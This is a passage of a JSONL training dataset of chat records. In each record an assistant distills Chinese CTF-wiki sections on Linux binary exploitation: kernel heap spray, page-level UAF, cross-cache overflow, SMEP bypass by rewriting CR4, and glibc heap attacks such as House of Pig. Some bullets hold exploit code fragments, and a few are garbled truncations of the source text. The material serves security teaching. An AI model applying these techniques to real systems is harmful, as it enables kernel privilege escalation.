仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1680, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "CTF kernel pwn 相关", "heading_path": ["基础知识", "CTF kernel pwn 相关"], "original_id": "docs-9f0036cf1e17d79c8307", "original_line": 654, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "source_root": "docs", "source_sha256": "103d18a2b1d91a49bd2c2a041ed56ddd9dc84d20450319eb6f4ff9118cc83e6d", "split": "train", "split_group_key": "c3be7854dbbf4b846d80ef0f", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "pwn", "linux", "kernel-mode", "basic-knowledge.md", "code:bash"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0b405442ff5b0eabd16d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md` 中的章节「题目分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md`\n标题：Heap Spray\n章节：Heap Spray > 例题：RWCTF2023体验赛 - Digging into kernel 3 > 题目分析\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“题目分析”展开。\n- ` 经过笔者测试，出题人手动关闭了如下默认开启的保护（出题人为了降低题目难度，可能关的更多，笔者只测了这几个）： - 关闭了 CONFIG_MEMCG_KMEM，这使得GFP_KERNEL 与 GFP_KERNEL_ACCOUNT 会从同样的 kmalloc-xx 中进行分配 - 关闭了 CONFIG_RANDOMIZE_KSTACK_OFFSET，这使得固定函数调用到内核栈底的偏移值是不变的 - 关闭了 SLAB_FREELIST_HARDENED`，这使得 freelist 几乎没有任何保护，我们可以轻易...\n- 0xC0DECAFE：释放一个之前分配的 object ，存在 UAF。\n- 文件: figure/rwctf2023kernel.png] 我们需要传入如下结构体： `c struct node { uint32_t idx;\n- 按惯例查看启动脚本，发现开启了 SMEP、SMAP、KASLR、KPTI： ``bash #!\n\n关键术语：\n- UAF\n- 堆\n- 栈\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:bash\n- code:c\n\n代码/命令片段线索：\n- bash: 13 行，首行 `#!/bin/sh`\n- c: 5 行，首行 `struct node {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1000, "chunk_count": 1, "chunk_index": 0, "ctf_score": 34, "ctf_task_type": "pwn", "heading": "题目分析", "heading_path": ["Heap Spray", "例题：RWCTF2023体验赛 - Digging into kernel 3", "题目分析"], "original_id": "docs-05476570b27de28b7d51", "original_line": 767, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/spray.md", "source_root": "docs", "source_sha256": "2ae680126839cc9344bcfca380d500d735c945fde26f1a88b9e25d41a3e55a18", "split": "train", "split_group_key": "3c808f2a5ca20f6daf15dadb", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "栈", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:bash", "code:c"], "title": "Heap Spray"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/spray.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0b625bc73ca0246fcc91", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md` 中的章节「Page-level UAF」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md`\n标题：Page-level UAF\n章节：Page-level UAF\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- Page-level UAF 同样是针对 buddy system 的利用手法，这种攻击手法主要指的是对内存页本身/内存页结构体 page 的释放后利用，例如： - 我们可以通过内存页重分配的方式将 UAF page 分配为指定 kmem_cache 的 slub pages ，从而实现无需任何限制的跨 kmem_cache 的 UAF 利用。\n- 我们可以通过内存页重分配的方式将 UAF page 分配为指定进程的页表，从而实现 任意内存映射攻击。\n- 我们可以通过 slab objects 的全部释放导致的 slab free 后对实现 page 上数据的 UAF，从而 将对内核对象的 UAF 读写转换为对 page 的 UAF 读写 。\n- ...... 作为近几年新出现的利用手法，page-level UAF 还有更多值得我们去探索的地方。\n- > 注：我们不使用 某“团伙”重新命名的 “PageJack” 这个叫法，仅 CTF-Wiki 页面的发布时间便至少早于 BlackHat 2024 USA 一年多（更早时候便应当在一些小圈子里已有传播）。\n- 对一个至少一年多前就公开的旧事物，在一年多后承认并使用来自非原创作者的命名无疑是荒谬的。\n\n关键术语：\n- UAF\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 692, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "Page-level UAF", "heading_path": ["Page-level UAF"], "original_id": "docs-549e9ee933ec87cdfc8a", "original_line": 742, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "source_root": "docs", "source_sha256": "9556b48cfce4fb3e87c0e04e6cd2793e0719241e2bc305a1f292d6b02d17d186", "split": "train", "split_group_key": "6b91bb0d45da47347db65070", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Page-level UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0beaba82846b6af6dd87", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/user-code-execution.md` 中的章节「Attack SMEP」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/user-code-execution.md`\n标题：用户代码不可执行\n章节：用户代码不可执行 > x86 - SMEP - Supervisor Mode Execution Protection > Attack SMEP\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Attack SMEP”展开。\n- 内核中修改 cr4 的代码最终会调用到 native_write_cr4，当我们能够劫持控制流后，我们可以执行内核中的 gadget 来修改 CR4。\n- 把 CR4 寄存器中的第 20 位置为 0 后，我们就可以执行用户态的代码。\n- 一般而言，我们会使用 0x6f0 来设置 CR4，这样 SMAP 和 SMEP 都会被关闭。\n- 从另外一个维度来看，内核中存在固定的修改 cr4 的代码，比如在 refresh_pce 函数、 set_tsc_mode 等函数里都有。\n\n关键术语：\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- defense\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 236, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "Attack SMEP", "heading_path": ["用户代码不可执行", "x86 - SMEP - Supervisor Mode Execution Protection", "Attack SMEP"], "original_id": "docs-cd75a5402eb7d71a11ae", "original_line": 682, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/isolation/user-kernel/user-code-execution.md", "source_root": "docs", "source_sha256": "21c0cc8d645f75631661d9c1e3b4b9aa7d7f72079688143824e7798e1df23515", "split": "train", "split_group_key": "8e049da80bf812a86d1b8c3f", "subcategory": "pwn/linux/kernel-mode", "terms": ["漏洞利用", "pwn", "linux", "kernel-mode", "defense"], "title": "用户代码不可执行"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/isolation/user-kernel/user-code-execution.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0c8773bde7735aa26679", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md` 中的章节「Small Bin」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md`\n标题：堆相关数据结构\n章节：define INTERNAL_SIZE_T size_t > bin > Small Bin\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Small Bin”展开。\n- 每个链表都有链表头结点，这样可以方便对于链表内部结点的管理。\n- #define smallbin_index(sz) \\ ((SMALLBIN_WIDTH == 16 ?\n- (((unsigned) (sz)) >> 4) \\ : (((unsigned) (sz)) >> 3)) + \\ SMALLBIN_CORRECTION) ` 或许，大家会很疑惑，那 fastbin 与 small bin 中 chunk 的大小会有很大一部分重合啊，那 small bin 中对应大小的 bin 是不是就没有什么作用啊？\n- 其实不然，fast bin 中的 chunk` 是有可能被放到 small bin 中去的，我们在后面分析具体的源代码时会有深刻的体会。\n- 比如对于 32 位系统来说，下标 2 对应的双向链表中存储的 chunk 大小为均为 16 字节。\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n\n代码/命令片段线索：\n- c++: 13 行，首行 `#define NSMALLBINS 64`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1193, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "Small Bin", "heading_path": ["define INTERNAL_SIZE_T size_t", "bin", "Small Bin"], "original_id": "docs-db0286e663eaff99b757", "original_line": 957, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "source_root": "docs", "source_sha256": "b1de1dbec6826b99266e11e63b8d9fae7712a0f329395937de325e916d1378e8", "split": "train", "split_group_key": "7f3f8137358b87607a2ed5ca", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c++"], "title": "堆相关数据结构"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0ca65808b8c2533f5dc1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md` 中的章节「fastbin」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md`\n标题：堆中的检查\n章节：堆中的检查 > __int_free > fastbin\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- = idx | invalid fastbin entry (free) |\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 487, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "fastbin", "heading_path": ["堆中的检查", "__int_free", "fastbin"], "original_id": "docs-788c3a4f46887c83d769", "original_line": 1035, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md", "source_root": "docs", "source_sha256": "4375f656de4fa14c2380f946b7c43a901ed3a64708e6a1af69983cd2bbed2373", "split": "train", "split_group_key": "518c92c05b0e39bfbc64762d", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap"], "title": "堆中的检查"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0cfd44bfee8e037b5850", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「漏洞确定」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`\n标题：Unsorted Bin Attack\n章节：in order not to merge into top chunk > 2016 0CTF zerostorage-待完成 > 漏洞确定\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“漏洞确定”展开。\n- 通过这么简单的分析，我们可以 基本确定漏洞主要就是集中在insert操作与merge操作中，尤其是当我们merge两个较小size的storage时，会出现一些问题。\n- 而且需要注意的是，我们还是可以去修改merge后的B的内容的，所以这其实就是个Use After Free。\n- 但是，我们之前刚刚把A对应的内存释放掉，而A由于不在fast bin范围内，所以只会被放到unsorted bin中（而且此时只有一个），所以此时A的fd和bk都存放的是unsorted bin的一个基地址。\n- 如果我们在merge之前曾经删除过一个storage C，那么在我们merge A后，A就会插在unsorted bin的双向链表的首部，所以其fd则是C对应的地址，bk则是unsorted bin的一个基地址。\n- 我们来具体分析一下，如果我们在insert过程中插入较小的size（比如8）的storage A，那么，当我们进行merge时，假设我们选择merge的两个storage 都为A，那么此时程序会直接把就会直接把A的内容再添加到A的原有内容的后面，然后接着就会把A对应的存储数据部分的内存free掉，但是这并没有什么作用，因为A存储内容的地址被赋给了另外一个storage，当再访问merge 后的 storage B部分的内容时，由于B的存储数据部分的地址其实就是A对应的存储数据的地址，所以打印的就是A的数据部分...\n\n关键术语：\n- UAF\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 630, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "漏洞确定", "heading_path": ["in order not to merge into top chunk", "2016 0CTF zerostorage-待完成", "漏洞确定"], "original_id": "docs-f1cb11056f161ea9c096", "original_line": 1115, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "source_root": "docs", "source_sha256": "c2ba53ae053f8100dfd6c9f4174e9fdafca0b7e6ad07e6279865c89a5f082052", "split": "train", "split_group_key": "5d02a867ada397a237c4fb8a", "subcategory": "pwn/linux/user-mode", "terms": ["UAF", "堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Unsorted Bin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0d03f14ae6a869111d49", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「context.log_level=\"debug\"」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：context.log_level=\"debug\"\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“context.log_level=\"debug\"”展开。\n- \\n') gdb.attach(io) fake_linkmap_addr = bss_addr+0x100\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2967, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "context.log_level=\"debug\"", "heading_path": ["context.log_level=\"debug\""], "original_id": "docs-d69229258168e2c6c68a", "original_line": 1367, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "fbecdb013749d7db55a94fc9", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0d58f2d8d07513079da0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md` 中的章节「Page-level Heap Fengshui」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md`\n标题：Cross-Cache Overflow & Page-level Heap Fengshui\n章节：Cross-Cache Overflow & Page-level Heap Fengshui > Page-level Heap Fengshui\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Page-level Heap Fengshui”展开。\n- 顾名思义，页级堆风水即以内存页为粒度的内存排布方式，而内核内存页的排布对我们来说不仅未知且信息量巨大，因此这种利用手法实际上是让我们手工构造一个新的已知的页级粒度内存页排布。\n- 释放其中一份内存页，在 vulnerable kmem_cache 上堆喷，让其取走这份内存页。\n- 释放另一份内存页，在 victim kmem_cache 上堆喷，让其取走这份内存页。\n- 此时我们便有可能溢出到其他的内核结构体上，从而完成 cross-cache overflow\n- 文件: figure/slub-new-page.png] 接下来让我们重新审视 buddy system ，其基本原理就是以 2 的 order 次幂张内存页作为分配粒度，相同 order 间空闲页面构成双向链表，当低阶 order 的页面不够用时便会从高阶 order 取一份连续内存页拆成两半，其中一半挂回当前请求 order 链表，另一半返还给上层调用者；\n\n关键术语：\n- 边界/溢出\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 757, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "Page-level Heap Fengshui", "heading_path": ["Cross-Cache Overflow & Page-level Heap Fengshui", "Page-level Heap Fengshui"], "original_id": "docs-a1ca0e48812d14e30da1", "original_line": 730, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md", "source_root": "docs", "source_sha256": "a2c8dfa6b0a89023b0f0db82bad6de6ee6403266bdc7488673a702ae7cd05846", "split": "train", "split_group_key": "9dc520c87cd504679ce547c0", "subcategory": "pwn/linux/kernel-mode", "terms": ["边界/溢出", "堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Cross-Cache Overflow & Page-level Heap Fengshui"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0d880dd8d283afa31546", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md` 中的章节「second largebin atk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md`\n标题：House of Pig\n章节：second largebin atk\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“second largebin atk”展开。\n- change_rol(3) add_message(0x330,'pass\\n' (0x430 // 48)) # 3 add_message(0x430,'pass\\n' (0x430 // 48)) # 4\n- fake_IO_FILE = '' fake_IO_FILE += 2 p64(0) fake_IO_FILE += p64(1) # _IO_write_base fake_IO_FILE += p64(0xFFFFFFFFFFFFFFFF) # _IO_write_ptr fake_IO_FILE += p64(0) # _IO_write_end fake_IO_FILE += p64(heap_base + 0x13E20) # old_buf, _IO_buf_base fake_IO_FILE +...\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 871, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "second largebin atk", "heading_path": ["second largebin atk"], "original_id": "docs-4bd54e853fb4262c7907", "original_line": 996, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md", "source_root": "docs", "source_sha256": "ad30bbcb365576fbe52c5fa885a96ce1ee3f7e048f759c291bf7b1aa50921256", "split": "train", "split_group_key": "c04b990f22ede361d86c2e41", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "House of Pig"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0d9e4ff59d5031c7cdd3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md` 中的章节「_例题：西湖论剑2021线上初赛 - easykernel_」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md`\n标题：利用 pt\\_regs 构造通用内核 ROP\n章节：利用 pt\\_regs 构造通用内核 ROP > _例题：西湖论剑2021线上初赛 - easykernel_\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“_例题：西湖论剑2021线上初赛 - easykernel_”展开。\n- 题目附件可在 [https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/kernel-mode/XHLJ2021-easykernel](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/kernel-mode/XHLJ2021-easykernel) 下载。\n\n关键术语：\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 207, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "_例题：西湖论剑2021线上初赛 - easykernel_", "heading_path": ["利用 pt\\_regs 构造通用内核 ROP", "_例题：西湖论剑2021线上初赛 - easykernel_"], "original_id": "docs-b5d3ddc6889fe934af3b", "original_line": 811, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md", "source_root": "docs", "source_sha256": "60e580f7ce73c459c08c4499a5bb30ee34f036c46304ad9c8c52ace8a2cf248e", "split": "train", "split_group_key": "15e9ba2fa616aab812a12838", "subcategory": "pwn/linux/kernel-mode", "terms": ["ROP/JOP", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "利用 pt\\_regs 构造通用内核 ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0db116f0aeafdf789b56", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md` 中的章节「arena 数量」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md`\n标题：堆相关数据结构\n章节：define INTERNAL_SIZE_T size_t > 宏观结构 > arena > arena 数量\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“arena 数量”展开。\n- 对于不同系统，arena数量的约束如下 ``text For 32 bit systems: Number of arena = 2 number of cores.\n- For 64 bit systems: Number of arena = 8 number of cores.\n- `` 显然，不是每一个线程都会有对应的 arena。\n- 此外，因为每个系统的核数是有限的，当线程数大于核数的二倍（超线程技术）时，就必然有线程处于等待状态，所以没有必要为每个线程分配一个 arena。\n- 至于为什么64位系统，要那么设置，我也没有想明白。\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:text\n\n代码/命令片段线索：\n- text: 4 行，首行 `For 32 bit systems:`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 